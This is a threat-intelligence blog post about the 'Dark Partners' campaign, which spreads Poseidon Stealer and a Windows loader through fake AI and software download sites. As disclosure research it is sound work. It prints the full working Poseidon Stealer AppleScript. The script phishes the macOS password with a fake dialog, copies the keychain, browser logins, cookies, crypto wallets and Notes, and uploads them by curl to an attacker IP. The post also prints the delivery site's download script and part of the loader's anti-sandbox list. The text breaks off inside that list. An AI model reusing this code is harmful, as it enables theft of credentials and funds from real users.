Dark Partners: The crypto heist adventure of Poseidon Stealer and Payday Loader
Key Summary
Since the past months, a malware campaign run by unknown threat actors has been observed delivering an unknown loader leading to infostealer infections for Windows users, and the infamous Poseidon Stealer for MacOS since the date it was sold to an unknown actor (now trying to undercover it)
In this blog, I aim to name this malware doing a bit of malware analysis and expose how this malware campaign is run by these threat actors.
Landing Pages
The websites that threat actors behind Dark Partners use to deliver malware are simple impersonations of world famous AI, VPN services or software brands with no other interaction than a download button.
These website are easy identifiable because of the custom frame used in all their websites after the download button is clicked:
A focus on AI content generation brands can be observed in the Dark Partner attempts to spread their malware impersonating websites.
But also impersonating world-famous software brands:
All the brands found impersonated by the websites of Dark Partners malware campaign:
Haiper
Copy
Upscayl
Runway
Sweet Home 3D
Sora
Loom
TradingView
Creatify
TikTok Studio
Pica
Koinly
MetaTrader 5
Windscribe
Blender
Descript
DeepSeek
Lumion
iSpring
Maxon
Unusual Whales
Ledger
AAVE
Jotform
Time Doctor
Mac Clean
Hedra
UltraViewer
WeFaceSwap
Monday
Akool
Postman
Stripe
Exodus
Leonardo
Synthesia
Evoto
During the research, even NSFW content websites were also observed under delivering malware under the Dark Partners malware campaign
Please find on the Telemetry section the list of domains observed in this malware campaign by Dark Partners
About Dark Partners PayDay Panel and the purchase of Poseidon Stealer for MacOS
While making this blog and observing the Dark Partners malware campaign, one download host serving builds for Windows is download[.]dianecarson[.]workers[.]dev.
At this Cloudflare Workers instance, a PayDay panel is being hosted:
Since the Windows malware was being delivered from this host, I named it “PayDay Loader” and the people who are running this “Dark Partners” because of the HTML title given in the panel.
But what is the PayDay Panel?
Since registration is closed under a invitation code, we can retrieve some information about the panel lurking at the JS files of the website.
We can find a contact and references to some past documentation:
Although the documentation site is offline, we can find some archived URL scans where we can look at the preview. The PayDay Panel describes itself as a “Open and automated workspace for team work”
It was not possible to retrieve more updated information about the PayDay panel. In this investigation blog, I’m assuming the PayDay panel project works as a centralized platform for developing criminal activities in a full chain from the creation and management of fake sites, malware delivering, to log processment from victims.
Host x00x[.]online served a PayDay Panel in the past.
In the documentation, there is a reference to a telegram contact “ghost0x00”, creator of the PayDay panel.
It is important to mention that on the same host at panel[.]x00x[.]online, a Poseidon Stealer panel appeared on August 2024.
At July 2024, the infamous Poseidon Stealer for MacOS was put on sale and successfully sold days later to an unknown source.
Poseidon was a MaaS project, serving builds to multiple customers for their own use. There is no public evidence to who was the individual or group that purchased Poseidon but, shortly after the purchase, it can be observed how the Dark Partners threat actors started implementing the Poseidon Stealer into their infrastructure and malware campaign.
With a high degree of confidence, I’m assuming “ghost0x00” was the individual who purchased Poseidon Stealer and implemented their usage on the Dark Partners malware campaign.
Download flow
After a user clicks on the download button on a Dark Partners website, this website:
- Checks for bot downloads
- Sends user information to /new_download endpoint via POST
{
"uuid": "<RANDOM>",
"lang": "en-GB",
"currency": "USD",
"device": "Unknown",
"browser": "Edge",
"os": "Windows",
"cpu": "amd64"
}
3. Prepares a new download using API host
GET /api/set_v_4_new_uuid?uuid=<RANDOM>&name=<FILENAME>.exe HTTP/2
Host: hai-per-package.com
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
{"result":true,"data":"data:text/html;base64,PCFET0NUWVBFIGh0<...>sPg=="}
This html decodes to
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>loading..</title>
<meta name="referrer" content="no-referrer" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/UAParser.js/1.0.37/ua-parser.min.js"></script>
</head>
<body>
</body>
<script>
window.addEventListener("message", function (event) {
let index = 0;
let parser = new UAParser();
let result = parser.getResult();
console.log(result.os.name);
if (event.data?.uuid) {
const loadFile = async () => {
const script = document.createElement('script');
script.setAttribute('src', 'https://hai-per-package.com/jszip.min.js');
const head = document.querySelector('head');
// head.appendChild(script);
let fileName = '';
// api/load_mac
if (result.os.name.includes('Mac')) {
fileName = 'haiper_ai.exe';
fileName = fileName.replace('.exe', '');
window.parent.postMessage({ error_load: true, link: `https://hai-per-package.com/api/load_mac/${event.data.uuid}?name=${event.data.filename}&icon=${event.data.icon}` }, "*");
const url = new URL(`https://hai-per-package.com/api/load_mac/${event.data.uuid}?name=${fileName}&icon=${event.data.icon}`);
const a = document.createElement('a');
const osName = navigator.userAgent.includes('Mac') ? 'Mac' : 'Windows'; // определение операционной системы
a.href = url;
a.download = osName === 'Mac' ? fileName.replace('.exe', '.dmg') : fileName;
document.body.appendChild(a);
a.click();
setTimeout(() => {
window.parent.postMessage({ loadEnd: true }, "*");
}, 1000);
// return await fetch(`https://hai-per-package.com/api/load_mac/${event.data.uuid}?name=${event.data.filename}&icon=${event.data.icon}`).then(res => res.blob()).then(blob => {
// const file = new Blob([blob], { type: 'application/octet-stream' });
// const url = URL.createObjectURL(file);
// const a = document.createElement('a');
// a.href = url;
// a.download = fileName;
// document.body.appendChild(a);
// a.click();
// setTimeout(() => {
// document.body.removeChild(a);
// URL.revokeObjectURL(url);
// window.parent.postMessage({ loadEnd: true }, "*");
// }, 5000);
// })
} else if (result.os.name.includes('Android')) {
console.log(result.os.name);
return await fetch(`https://hai-per-package.com/api/p_b_android/${event.data.uuid}?name=${event.data.filename}&icon=${event.data.icon}`).then(res => res.blob()).then(blob => {
const file = new Blob([blob], { type: 'application/octet-stream' });
const url = URL.createObjectURL(file);
const a = document.createElement('a');
a.href = url;
a.download = 'haiper_ai.exe'.replace('.exe', '.apk');
document.body.appendChild(a);
a.click();
setTimeout(() => {
document.body.removeChild(a);
URL.revokeObjectURL(url);
window.parent.postMessage({ loadEnd: true }, "*");
}, 5000);
})
} else {
console.log('os: ' + result.os.name);
window.parent.postMessage({ error_load: true, link: `https://opana.get-manus.com/${event.data.uuid}?name=${event.data.filename}&icon=${event.data.icon}` }, "*");
fileName = 'haiper_ai.exe';
const url = new URL(`https://opana.get-manus.com?asda=${event.data.uuid}&qqqqq=${event.data.icon}&xxxx=${fileName}`);
const a = document.createElement('a');
a.href = url;
a.download = 'haiper_ai.exe'; // Здесь вы можете указать имя файла
document.body.appendChild(a);
a.click();
setTimeout(() => {
document.body.removeChild(a);
URL.revokeObjectURL(url);
window.parent.postMessage({ loadEnd: true }, "*");
}, 5000);
}
}
loadFile()
}
// Выводим данные от родительского окна
console.log("Received message from parent:", event.data.uuid);
});
window.parent.postMessage({ init: true }, "*");
</script>
</html>
4. Send download report to /update_download endpoint via POST
{
"uuid": "HG5bwBOkUG",
"subid": null,
"download_setup": "download_site"
}
5. Download is triggered from download host based on user OS
At the time of writing this report
~ Windows
https://opana.get-manus.com/?asda=<ID_RANDOM>&qqqqq=<ICON_NAME>&xxxx=<FILENAME>.exe
~ MacOS
https://hai-per-package.com/api/load_mac/<ID_RANDOM>?name=<FILENAME>&icon=<ICON_NAME>
Please note how these websites also offers the possibility to distribute malware to Android devices. This functionality is deprecated, and websites deliver invalid APK files with the following content:
Let’s analyse briefly the MacOS and Windows malware delivered to victims
Poseidon Stealer
Dark Partners leverages Poseidon Stealer to infect MacOS users after downloading builds from their website.
These Poseidon builds uses custom DMG launchers
The AppleScript that Poseidon Stealer uses can be found here:
osascript -e "set release to true
set filegrabbers to true
on filesizer(paths)
set fsz to 0
try
set theItem to quoted form of POSIX path of paths
set fsz to (do shell script \"/usr/bin/mdls -name kMDItemFSSize -raw \" & theItem)
end try
return fsz
end filesizer
on mkdir(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
do shell script \"mkdir -p \" & filePosixPath
end try
end mkdir
on FileName(filePath)
try
set reversedPath to (reverse of every character of filePath) as string
set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath
set finalPath to (reverse of every character of trimmedPath) as string
return finalPath
end try
end FileName
on BeforeFileName(filePath)
try
set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string
set trimmedPath to text 1 thru -(lastSlash + 1) of filePath
return trimmedPath
end try
end BeforeFileName
on writeText(textToWrite, filePath)
try
set folderPath to BeforeFileName(filePath)
mkdir(folderPath)
set fileRef to (open for access filePath with write permission)
write textToWrite to fileRef starting at eof
close access fileRef
end try
end writeText
on readwrite(path_to_file, path_as_save)
try
set fileContent to read path_to_file
set folderPath to BeforeFileName(path_as_save)
mkdir(folderPath)
do shell script \"cat \" & quoted form of path_to_file & \" > \" & quoted form of path_as_save
end try
end readwrite
on isDirectory(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
set fileType to (do shell script \"file -b \" & filePosixPath)
if fileType ends with \"directory\" then
return true
end if
return false
end try
end isDirectory
on GrabFolderLimit(sourceFolder, destinationFolder)
try
set bankSize to 0
set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\", \"journals\", \"Previews\"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & \"/\" & currentItem
set savePath to destinationFolder & \"/\" & currentItem
if isDirectory(itemPath) then
GrabFolderLimit(itemPath, savePath)
else
set fsz to filesizer(itemPath)
set bankSize to bankSize + fsz
if bankSize < 10 * 1024 * 1024 then
readwrite(itemPath, savePath)
end if
end if
end if
end repeat
end try
end GrabFolderLimit
on GrabFolder(sourceFolder, destinationFolder)
try
set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\", \"journals\", \"Previews\"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & \"/\" & currentItem
set savePath to destinationFolder & \"/\" & currentItem
if isDirectory(itemPath) then
GrabFolder(itemPath, savePath)
else
readwrite(itemPath, savePath)
end if
end if
end repeat
end try
end GrabFolder
on GetUUID(pather, searchString)
try
set theFile to POSIX file pather
set fileContents to read theFile
set startPos to offset of searchString in fileContents
if startPos is 0 then
return \"not found\"
end if
set uuidStart to startPos + (length of searchString)
set uuid to text uuidStart thru (uuidStart + 55) of fileContents
set endpos to offset of \"\\\\\" in uuid
if endpos is 0 then
return \"not found\"
end if
set realuuid to text uuidStart thru (uuidStart + endpos - 2) of fileContents
return realuuid
on error
return \"not found\"
end try
end GetUUID
on firewallets(firepath, writemind, profile)
try
set fire_wallets to {{\"MetaMask\", \"webextension@metamask.io\\\\\\\":\\\\\\\"\"}}
repeat with wallet in fire_wallets
set uuid to GetUUID(firepath & \"/prefs.js\", item 2 of wallet)
if uuid is not \"not found\" then
set walkpath to firepath & \"/storage/default/\"
set fileList to list folder walkpath without invisibles
repeat with currentItem in fileList
if currentItem contains uuid then
set fwallet to walkpath & currentItem & \"/idb/\"
set fileList_wallet to list folder fwallet without invisibles
repeat with currentItem_wallet in fileList_wallet
if isDirectory(fwallet & currentItem_wallet) then
GrabFolder(fwallet & currentItem_wallet, writemind & \"ffwallets/\" & item 1 of wallet & \"_\" & profile & \"/\")
end if
end repeat
end if
end repeat
end if
end repeat
end try
end firewallets
on parseFF(firefox, writemind)
try
set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"}
set fileList to list folder firefox without invisibles
repeat with currentItem in fileList
firewallets(firefox & currentItem, writemind, currentItem)
set fpath to writemind & \"ff/\" & currentItem
set readpath to firefox & currentItem
repeat with FFile in myFiles
readwrite(readpath & FFile, fpath & FFile)
end repeat
end repeat
end try
end parseFF
on checkvalid(username, password_entered)
try
set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered
if result is not equal to \"\" then
return false
else
return true
end if
on error
return false
end try
end checkvalid
on getpwd(username, writemind)
try
if checkvalid(username, \"\") then
set result to do shell script \"security 2>&1 > /dev/null find-generic-password -ga \\\"Chrome\\\" | awk \\\"{print \$2}\\\"\"
writeText(result as string, writemind & \"masterpass-chrome\")
else
repeat
set result to display dialog \"Required Application Helper. Please enter password for continue.\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer
set password_entered to text returned of result
if checkvalid(username, password_entered) then
writeText(password_entered, writemind & \"pwd\")
return password_entered
end if
end repeat
end if
end try
return \"\"
end getpwd
on grabPlugins(paths, savePath, pluginList, index)
try
set fileList to list folder paths without invisibles
repeat with PFile in fileList
repeat with Plugin in pluginList
if (PFile contains Plugin) then
set newpath to paths & PFile
set newsavepath to savePath & \"/\" & Plugin
if index then
set newsavepath to newsavepath & \"/IndexedDB/\"
end if
GrabFolder(newpath, newsavepath)
end if
end repeat
end repeat
end try
end grabPlugins
on chromium(writemind, chromium_map)
set pluginList to {\"keenhcnmdmjjhincpilijphpiohdppno\", \"hbbgbephgojikajhfbomhlmmollphcad\", \"cjmkndjhnagcfbpiemnkdpomccnjblmj\", \"dhgnlgphgchebgoemcjekedjjbifijid\", \"hifafgmccdpekplomjjkcfgodnhcellj\", \"kamfleanhcmjelnhaeljonilnmjpkcjc\", \"jnldfbidonfeldmalbflbmlebbipcnle\", \"fdcnegogpncmfejlfnffnofpngdiejii\", \"klnaejjgbibmhlephnhpmaofohgkpgkd\", \"pdadjkfkgcafgbceimcpbkalnfnepbnk\", \"kjjebdkfeagdoogagbhepmbimaphnfln\", \"ldinpeekobnhjjdofggfgjlcehhmanlj\", \"dkdedlpgdmmkkfjabffeganieamfklkm\", \"bcopgchhojmggmffilplmbdicgaihlkp\", \"kpfchfdkjhcoekhdldggegebfakaaiog\", \"idnnbdplmphpflfnlkomgpfbpcgelopg\", \"mlhakagmgkmonhdonhkpjeebfphligng\", \"bipdhagncpgaccgdbddmbpcabgjikfkn\", \"gcbjmdjijjpffkpbgdkaojpmaninaion\", \"nhnkbkgjikgcigadomkphalanndcapjk\", \"bhhhlbepdkbapadjdnnojkbgioiodbic\", \"hoighigmnhgkkdaenafgnefkcmipfjon\", \"klghhnkeealcohjjanjjdaeeggmfmlpl\", \"nkbihfbeogaeaoehlefnkodbefgpgknn\", \"fhbohimaelbohpjbbldcngcnapndodjp\", \"ebfidpplhabeedpnhjnobghokpiioolj\", \"emeeapjkbcbpbpgaagfchmcgglmebnen\", \"fldfpgipfncgndfolcbkdeeknbbbnhcc\", \"penjlddjkjgpnkllboccdgccekpkcbin\", \"fhilaheimglignddkjgofkcbgekhenbh\", \"hmeobnfnfcmdkdcmlblgagmfpfboieaf\", \"cihmoadaighcejopammfbmddcmdekcje\", \"lodccjjbdhfakaekdiahmedfbieldgik\", \"omaabbefbmiijedngplfjmnooppbclkk\", \"cjelfplplebdjjenllpjcblmjkfcffne\", \"jnlgamecbpmbajjfhmmmlhejkemejdma\", \"fpkhgmpbidmiogeglndfbkegfdlnajnf\", \"bifidjkcdpgfnlbcjpdkdcnbiooooblg\", \"amkmjjmmflddogmhpjloimipbofnfjih\", \"flpiciilemghbmfalicajoolhkkenfel\", \"hcflpincpppdclinealmandijcmnkbgn\", \"aeachknmefphepccionboohckonoeemg\", \"nlobpakggmbcgdbpjpnagmdbdhdhgphk\", \"momakdpclmaphlamgjcndbgfckjfpemp\", \"mnfifefkajgofkcjkemidiaecocnkjeh\", \"fnnegphlobjdpkhecapkijjdkgcjhkib\", \"ehjiblpccbknkgimiflboggcffmpphhp\", \"ilhaljfiglknggcoegeknjghdgampffk\", \"pgiaagfkgcbnmiiolekcfmljdagdhlcm\", \"fnjhmkhhmkbjkkabndcnnogagogbneec\", \"bfnaelmomeimhlpmgjnjophhpkkoljpa\", \"imlcamfeniaidioeflifonfjeeppblda\", \"mdjmfdffdcmnoblignmgpommbefadffd\", \"ooiepdgjjnhcmlaobfinbomgebfgablh\", \"pcndjhkinnkaohffealmlmhaepkpmgkb\", \"ppdadbejkmjnefldpcdjhnkpbjkikoip\", \"cgeeodpfagjceefieflmdfphplkenlfk\", \"dlcobpjiigpikoobohmabehhmhfoodbb\", \"jiidiaalihmmhddjgbnbgdfflelocpak\", \"bocpokimicclpaiekenaeelehdjllofo\", \"pocmplpaccanhmnllbbkpgfliimjljgo\", \"cphhlgmgameodnhkjdmkpanlelnlohao\", \"mcohilncbfahbmgdjkbpemcciiolgcge\", \"bopcbmipnjdcdfflfgjdgdjejmgpoaab\", \"khpkpbbcccdmmclmpigdgddabeilkdpd\", \"ejjladinnckdgjemekebdpeokbikhfci\", \"phkbamefinggmakgklpkljjmgibohnba\", \"epapihdplajcdnnkdeiahlgigofloibg\", \"hpclkefagolihohboafpheddmmgdffjm\", \"cjookpbkjnpkmknedggeecikaponcalb\", \"cpmkedoipcpimgecpmgpldfpohjplkpp\", \"modjfdjcodmehnpccdjngmdfajggaoeh\", \"ibnejdfjmmkpcnlpebklmnkoeoihofec\", \"afbcbjpbpfadlkmhmclhkeeodmamcflc\", \"kncchdigobghenbbaddojjnnaogfppfj\", \"efbglgofoippbgcjepnhiblaibcnclgk\", \"mcbigmjiafegjnnogedioegffbooigli\", \"fccgmnglbhajioalokbcidhcaikhlcpm\", \"hnhobjmcibchnmglfbldbfabcgaknlkj\", \"apnehcjmnengpnmccpaibjmhhoadaico\", \"enabgbdfcbaehmbigakijjabdpdnimlg\", \"mgffkfbidihjpoaomajlbgchddlicgpn\", \"fopmedgnkfpebgllppeddmmochcookhc\", \"jojhfeoedkpkglbfimdfabpdfjaoolaf\", \"ammjlinfekkoockogfhdkgcohjlbhmff\", \"abkahkcbhngaebpcgfmhkoioedceoigp\", \"dcbjpgbkjoomeenajdabiicabjljlnfp\", \"gkeelndblnomfmjnophbhfhcjbcnemka\", \"pnndplcbkakcplkjnolgbkdgjikjednm\", \"copjnifcecdedocejpaapepagaodgpbh\", \"hgbeiipamcgbdjhfflifkgehomnmglgk\", \"mkchoaaiifodcflmbaphdgeidocajadp\", \"ellkdbaphhldpeajbepobaecooaoafpg\", \"mdnaglckomeedfbogeajfajofmfgpoae\", \"nknhiehlklippafakaeklbeglecifhad\", \"ckklhkaabbmdjkahiaaplikpdddkenic\", \"fmblappgoiilbgafhjklehhfifbdocee\", \"nphplpgoakhhjchkkhmiggakijnkhfnd\", \"cnmamaachppnkjgnildpdmkaakejnhae\", \"fijngjgcjhjmmpcmkeiomlglpeiijkld\", \"niiaamnmgebpeejeemoifgdndgeaekhe\", \"odpnjmimokcmjgojhnhfcnalnegdjmdn\", \"lbjapbcmmceacocpimbpbidpgmlmoaao\", \"hnfanknocfeofbddgcijnmhnfnkdnaad\", \"hpglfhgfnhbgpjdenjgmdgoeiappafln\", \"egjidjbpglichdcondbcbdnbeeppgdph\", \"ibljocddagjghmlpgihahamcghfggcjc\", \"gkodhkbmiflnmkipcmlhhgadebbeijhh\", \"dbgnhckhnppddckangcjbkjnlddbjkna\", \"mfhbebgoclkghebffdldpobeajmbecfk\", \"nlbmnnijcnlegkjjpcfjclmcfggfefdm\", \"nlgbhdfgdhgbiamfdfmbikcdghidoadd\", \"acmacodkjbdgmoleebolmdjonilkdbch\", \"agoakfejjabomempkjlepdflaleeobhb\", \"dgiehkgfknklegdhekgeabnhgfjhbajd\", \"onhogfjeacnfoofkfgppdlbmlmnplgbn\", \"kkpehldckknjffeakihjajcjccmcjflh\", \"jaooiolkmfcmloonphpiiogkfckgciom\", \"ojggmchlghnjlapmfbnjholfjkiidbch\", \"pmmnimefaichbcnbndcfpaagbepnjaig\", \"oiohdnannmknmdlddkdejbmplhbdcbee\", \"aiifbnbfobpmeekipheeijimdpnlpgpp\", \"aholpfdialjgjfhomihkjbmgjidlcdno\", \"anokgmphncpekkhclmingpimjmcooifb\", \"kkpllkodjeloidieedojogacfhpaihoh\", \"iokeahhehimjnekafflcihljlcjccdbe\", \"ifckdpamphokdglkkdomedpdegcjhjdp\", \"loinekcabhlmhjjbocijdoimmejangoa\", \"fcfcfllfndlomdhbehjjcoimbgofdncg\", \"ifclboecfhkjbpmhgehodcjpciihhmif\", \"dmkamcknogkgcdfhhbddcghachkejeap\", \"ookjlbkiijinhpmnjffcofjonbfbgaoc\", \"oafedfoadhdjjcipmcbecikgokpaphjk\", \"mapbhaebnddapnmifbbkgeedkeplgjmf\", \"cmndjbecilbocjfkibfbifhngkdmjgog\", \"kpfopkelmapcoipemfendmdcghnegimn\", \"lgmpcpglpngdoalbgeoldeajfclnhafa\", \"ppbibelpcjmhbdihakflkdcoccbgbkpo\", \"ffnbelfdoeiohenkjibnmadjiehjhajb\", \"opcgpfmipidbgpenhmajoajpbobppdil\", \"lakggbcodlaclcbbbepmkpdhbcomcgkd\", \"kgdijkcfiglijhaglibaidbipiejjfdp\", \"hdkobeeifhdplocklknbnejdelgagbao\", \"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\", \"nbdhibgjnjpnkajaghbffjbkcgljfgdi\", \"kmhcihpebfmpgmihbkipmjlmmioameka\", \"kmphdnilpmdejikjdnlbcnmnabepfgkh\", \"nngceckbapebfimnlniiiahkandclblb\"}
set custom_plugin_list to {\"\"}
set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\", \"/IndexedDB/\"}
repeat with chromium in chromium_map
set savePath to writemind & \"Chromium/\" & item 1 of chromium & \"_\"
try
set fileList to list folder item 2 of chromium without invisibles
repeat with currentItem in fileList
if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
if ((CFile as string) is equal to \"/Network/Cookies\") then
set CFile to \"/Cookies\"
end if
if ((CFile as string) is equal to \"/Local Extension Settings/\") then
grabPlugins(readpath, savePath & currentItem, pluginList, false)
grabPlugins(readpath, writemind & \"deskwallets/\", custom_plugin_list, false)
else if (CFile as string) is equal to \"/IndexedDB/\" then
grabPlugins(readpath, savePath & currentItem, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
end try
end repeat
end chromium
on deskwallets(writemind, deskwals)
repeat with deskwal in deskwals
try
GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
end try
end repeat
end deskwallets
on filegrabber()
try
set destinationFolderPath to POSIX file \"/tmp/xuyna/FileGrabber/\"
set photosPath to POSIX file \"/tmp/photos\"
mkdir(photosPath)
mkdir(destinationFolderPath)
set extensionsList to {\"txt\",\"pdf\",\"docx\",\"zip\",\"wallet\",\"key\",\"keys\",\"doc\",\"jpeg\",\"png\"}
set bankSize to 0
tell application \"Finder\"
try
set safariFolderPath to (path to home folder as text) & \"Library:Cookies:\"
duplicate file (safariFolderPath & \"Cookies.binarycookies\") to folder destinationFolderPath with replacing
set name of result to \"saf1\"
end try
try
set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")
try
duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing
end try
set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\"
set notesAccounts to folder (notesFolderPath & \"Accounts:\")
try
--duplicate notesAccounts to photosPath with replacing
end try
try
set notesFolder to folder notesFolderPath
set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder
repeat with aFile in notesFiles
try
duplicate aFile to folder destinationFolderPath with replacing
end try
end repeat
end try
end try
try
set desktopFiles to every file of desktop
set documentsFiles to every file of folder \"Documents\" of (path to home folder)
set downloadsFiles to every file of folder \"Downloads\" of (path to home folder)
repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)
set fileExtension to name extension of aFile
if fileExtension is in extensionsList then
set filesize to size of aFile
if (bankSize + filesize) < 10 * 1024 * 1024 then
try
duplicate aFile to folder destinationFolderPath with replacing
set bankSize to bankSize + filesize
end try
else
exit repeat
end if
end if
end repeat
end try
end tell
end try
end filegrabber
on send_data(attempt)
try
set result_send to (do shell script \"curl -X POST -H \\\"uuid: 336ec3b8-3c88-4e27-afe4-b82da7739837\\\" -H \\\"user: admin\\\" -H \\\"buildid: 2025-05-20T23:35:58.854Z\\\" --data-binary @/tmp/out.zip http://199.247.14.131/p2p\")
on error
if attempt < 10 then
delay 60
send_data(attempt + 1)
end if
end try
end send_data
on VPN(writemind, vpn_dirs)
end VPN
set username to (system attribute \"USER\")
set profile to \"/Users/\" & username
set writemind to \"/tmp/xuyna/\"
try
set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\")
writeText(result, writemind & \"user\")
end try
set library to profile & \"/Library/Application Support/\"
set password_entered to getpwd(username, writemind)
delay 0.01
set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"}, {\"Brave\", library & \"BraveSoftware/Brave-Browser/\"}, {\"Edge\", library & \"Microsoft Edge/\"}, {\"Vivaldi\", library & \"Vivaldi/\"}, {\"Opera\", library & \"com.operasoftware.Opera/\"}, {\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}, {\"Chrome Beta\", library & \"Google/Chrome Beta/\"}, {\"Chrome Canary\", library & \"Google/Chrome Canary\"}, {\"Chromium\", library & \"Chromium/\"}, {\"Chrome Dev\", library & \"Google/Chrome Dev/\"}}
set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"}, {\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"}, {\"deskwallets/Exodus\", library & \"Exodus/\"}, {\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}, {\"deskwallets/Wasabi\", profile & \"/.walletwasabi/client/Wallets/\"}, {\"deskwallets/Ledger_Live\", library & \"Ledger Live/\"}, {\"deskwallets/Monero\", profile & \"/Monero/wallets/\"}, {\"deskwallets/Bitcoin_Core\", library & \"Bitcoin/wallets/\"}, {\"deskwallets/Litecoin_Core\", library & \"Litecoin/wallets/\"}, {\"deskwallets/Dash_Core\", library & \"DashCore/wallets/\"}, {\"deskwallets/Electrum_LTC\", profile & \"/.electrum-ltc/wallets/\"}, {\"deskwallets/Electron_Cash\", profile & \"/.electron-cash/wallets/\"}, {\"deskwallets/Guarda\", library & \"Guarda/\"}, {\"deskwallets/Dogecoin_Core\", library & \"Dogecoin/wallets/\"}, {\"deskwallets/Trezor_Suite\", library & \"@trezor/suite-desktop/\"}}
readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\")
readwrite(library & \"@tonkeeper/desktop/config.json\", \"deskwallets/TonKeeper/config.json\")
readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind & \"keychain\")
if release then
readwrite(profile & \"/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite\", writemind & \"FileGrabber/NoteStore.sqlite\")
readwrite(profile & \"/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal\", writemind & \"FileGrabber/NoteStore.sqlite-wal\")
readwrite(profile & \"/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm\", writemind & \"FileGrabber/NoteStore.sqlite-shm\")
readwrite(profile & \"/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies\", writemind & \"FileGrabber/Cookies.binarycookies\")
readwrite(profile & \"/Library/Cookies/Cookies.binarycookies\", writemind & \"FileGrabber/saf1\")
end if
if filegrabbers then
filegrabber()
end if
writeText(username, writemind & \"username\")
set ff_paths to {library & \"Firefox/Profiles/\", library & \"Waterfox/Profiles/\", library & \"Pale Moon/Profiles/\"}
repeat with firefox in ff_paths
try
parseFF(firefox, writemind)
end try
end repeat
chromium(writemind, chromiumMap)
deskwallets(writemind, walletMap)
--GrabFolderLimit(\"/tmp/photos/\", writemind & \"FileGrabber/NotesPhoto/\")
--set vpns to {{\"OpenVPN\", library & \"OpenVPN Connect/profiles/\"}}
readwrite(\"/Library/Application Support/Fortinet/FortiClient/conf/vpn.plist\", writemind & \"vpn/FortiVPN/vpn.plist\")
do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /tmp/out.zip\"
send_data(0)
do shell script \"rm -r \" & writemind
do shell script \"rm -r /tmp/photos\"
do shell script \"rm /tmp/out.zip\"
There’s has not been major changes in the payload of Poseidon Stealer since the sale, so please refer to past analysis of this stealer:
https://www.esentire.com/blog/poseidon-stealer-uses-sora-ai-lure-to-infect-macos
https://unit42.paloaltonetworks.com/macos-stealers-growing/
Please find in the telemetry section some of the infrastructure of Poseidon Stealer used by Dark Partners in their malware campaign.
PayDay Loader
The PayDay Loader is a Windows malicious application seen in the wild that is used by the Dark Partners threat actors in his malware campaign. The main objective of this loader is to load more malware into the infected machine in a silent way, mainly infostealers such as Lumma Stealer among other malware.
For a full interactive detonation overview please refer to sandbox analysis at https://app.any.run/tasks/93115a01-8c9a-4365-818c-f55a9d5eddfb
PayDay Loader executable builds are electron-based applications. Here’s the configuration and dependencies of our study build case.
//package.json
{
"name": "default",
"author": "haiper App",
"description": "haiper App",
"version": "1.8.2",
"private": true,
"main": ".output/electron/background.js",
"engines": {
"node": ">=18.1"
},
"dependencies": {
"@pinia/nuxt": "^0.4.7",
"adm-zip": "^0.5.16",
"electron-log": "^5.0.0-beta.16",
"electron-updater": "^5.3.0",
"express": "^4.18.2",
"find-process": "^1.4.7"
}
}
The custom frontend launcher is built using the Nuxt.js framework
This electron application has an anti-sandbox module. It search common process names on the execution machine to terminate itself.
//checkProcess.js
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.checkProcess = checkProcess;
const find_process_1 = __importDefault(require("find-process"));
const processNames = [
'autoruns',
'autorunsc',
'dumpcap',
'fiddler',
'fakenet',
'hookexplorer',
'immunitydebugger',
'httpdebugger',
'importrec',
'lordpe',
'petools',
'processhacker',
'resourcehacker',
'scylla_x64',
'sandman',
'sysinspector',
'tcpview',
'die',
'dumpcap',
'filemon',
'idaq',
